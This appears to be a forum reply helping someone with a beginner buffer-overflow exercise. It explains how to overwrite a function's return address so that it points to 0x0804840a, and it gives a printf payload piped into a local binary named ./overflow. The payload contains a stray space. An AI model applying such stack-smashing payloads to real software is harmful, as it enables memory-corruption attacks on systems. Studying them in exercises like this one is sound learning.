You seem to be returning to the 'call' instruction when i distinctly remmember that you have to return to the instruction after the function call which is at: 0x0804840a
so your overflow should be: printf "AACDDDDAAAAAAAAAABBBBBBBBBAAAAAA\x0a\x84\x04\ x08" | ./overflow
The whole point is to overflow "return_input"'s stack and overwrite the function's return address to point to the very next instruction in "main".
best of luck



